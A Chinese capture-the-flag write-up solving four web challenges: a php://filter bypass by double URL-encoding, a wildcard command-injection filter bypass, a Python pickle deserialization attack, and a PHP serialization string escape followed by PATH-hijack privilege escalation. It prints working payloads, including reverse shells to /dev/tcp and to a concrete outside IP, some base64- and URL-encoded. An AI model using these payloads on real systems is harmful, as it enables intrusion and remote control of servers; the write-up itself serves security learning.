暑期结束赛
simple_php
知识点:文件包含 ,二次编码。
打开题目环境
过滤了许多
我们使用伪协议
我们给base字符中的b二次url加密%2562即可绕过
1
| url/?file=php://filter/read=convert.%2562ase64-encode/resource=/flag.php
|
之后base64解码
ok,解决
ez RCE
知识点: rce绕过通配符及环境变量调用命令使用
打开题目环境
1 2 3 4 5 6 7 8 9
| <?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-8]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*p.*a.*s.*t.*e.*|.*u.*n.*i.*q.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|.*g.*r.*e.*p.*|.*r.*e.*v.*|.*v.*i.*|.*b.*a.*s.*e.*|\'|\"|\`|\%|\:|\{|\}|\||\^|\&|\.|\x09|\x26|\>|\</i", $c)){ system($c); } }else{ highlight_file(__FILE__); }
|
可以参考ctfshow web54类似我们可以分析看
这回是真正意义上的禁用了这些命令了,以前还能通过中间添加一些特殊符号来绕过的,现在是完全不能使用了,毕竟 . 后面跟上一个通配符后,就完全不能在中间加点什么了
像这种可以选择使用之前讲过的一种用?通配符
来构造的方式,如
1 2 3 4 5
| 对flag.php的构造可以这样:fl??.??? 甚至可以简化为:????????
同样,命令也可以进行构造 cat可以构造为?at、c??
|
所以根据这个我们能构造payload:
1 2
| ?c=/bin/c??$IFS/???????? 这里的/bin/是指bin目录下检索c??,不然在当前目录是没有这个命令的
|
出现回显flag
ez python
知识点:python pickle反序列化
打开题目环境
我们找到提示
/pick1e 访问后出现回显
根据提示我们解码
尊都假嘟解码
之后随波逐流工具解码
二栏
然后继续解码
访问看看
查看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| @app.route('/src0de') def src0de(): f = open(__file__, 'r') rsp = f.read() f.close() return rsp[rsp.index("@app.route('/src0de')"):]
@app.route('/pick1e') def pick1e(): try: username = "admin" rsp = make_response("OK U @ %s " % username) rsp.headers['hint'] = "Source in ÖvÖ O.o ov0 Ö_0 Övo 0v0 0.o o.0 Öwo owÖ 0v0 ovO o.O ow0 O.o o.0" pick1e = request.cookies.get('pick1e') if pick1e is not None: pick1e = base64.b64decode(pick1e) else: return rsp
if pick1e: if (b'R' in pick1e): return 'NO REDUCE!!!' pick1e = pickle.loads(pick1e) return "Go for it!!!" else: return "No Way!!!"
except Exception as e: error_message = str(e) return error_message
class GWHT(): def __init__(self): pass
if __name__ == '__main__': app.run('0.0.0.0', port=80)
|
分析路由信息
我们是在/src0de路由下可以看到源码这些
我们在/pick1e 是进行pick1e反序列化漏洞
pickle.loads造成rce,反弹shell
我们构造payload 然后base64 加密
1 2 3 4
| (S'bash -c "bash -i >& /dev/tcp/ip/2336 0>&1"' ios system .
|
然后回到/pick1e 目录下添加cookie
然后抓包
先监听端口
然后发包
连接成功
我们是root权限所以找根目录的flag
ok解决
总结:一开始卡了编码之后网上找到相似脚本我们就跟着来
一步步操作就出了,还是不牢固需要多代码审计。
ez_php
知识点:php字符串逃逸+提权
打开题目环境
提示去到/shell.php
出现回显
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| <?php error_reporting(0); $code = file_get_contents(__FILE__); highlight_string($code);
class CTFer { public $work; public $awarding = "salary";
public function __construct($a) { $this ->work = $a; echo "你是?"; } }
function filter($name) { $safe = "okk"; $name = str_replace($safe, "Nook", $name); return $name; }
if (isset($_GET["payload"])) { $a = filter(serialize(new CTFer($_GET["payload"]))); var_dump($a); if(unserialize($a) -> awarding == "pennant") { $shell=$_GET["shell"]; system($shell); } }
|
反序列化,字符串逃逸
我们构造payload
1
| payload=okkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkokkok&kokkokkokkokk";s:8:"awarding";s:7:"pennant";}&shell=ls
|
出现回显
我们利用shell变量来命令执行
我们构造反弹shell
1
| bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjEzLjE2LjI0NC8zMzg5IDA+JjE=}|{base64,-d}|{bash,-i}'
|
然后再给全部url加密
1
| bash+-c+%27%7becho%2cYmFzaCAtaSA%2bJiAvZGV2L3RjcC8xLjEzLjE2LjI0NC8zMzg5IDA%2bJjE%3d%7d%7c%7bbase64%2c-d%7d%7c%7bbash%2c-i%7d%27
|
先监听后发包
出现回显
尝试找flag但是没权限
我们现在先看看其他文件
发现可疑文件list执行看看
报错了,Is没有对应的文件夹,说明调用了system(“Is /var/www/html/upload”)
我们去到/tmp目录
创建.c文件
1 2 3 4 5 6
| echo '#include<unistd.h> void main(){ setuid(0); setuid(0); system("cat /flag"); }' > lwj.c
|
给它命名为 lwj.c
继续操作执行它
再之后我们试着执行这个lwj
程序
没有权限
于是我们
1 2 3 4
| 命令: export PATH=/tmp:$PATH export PATH=:export 是一个 shell 命令,用于设置或导出环境变量。PATH 是一个特殊的环境变量,它包含了一系列目录路径,用冒号分隔,系统会在这些路径中查找可执行文件。
/tmp:$PATH:这里是一个赋值语句,将 /tmp 目录添加到现有的 PATH 变量之前。在 Unix/Linux 系统中,/tmp 是一个临时目录,经常用来存放临时文件。冒号 : 是 PATH 变量中不同路径的分隔符,所以这条命令的效果是将 /tmp 添加到 PATH 变量的开头。
|
之后我们回到根目录执行list文件
问题解决
总结:还是得多研究研究,不会的尽量找知识点学习。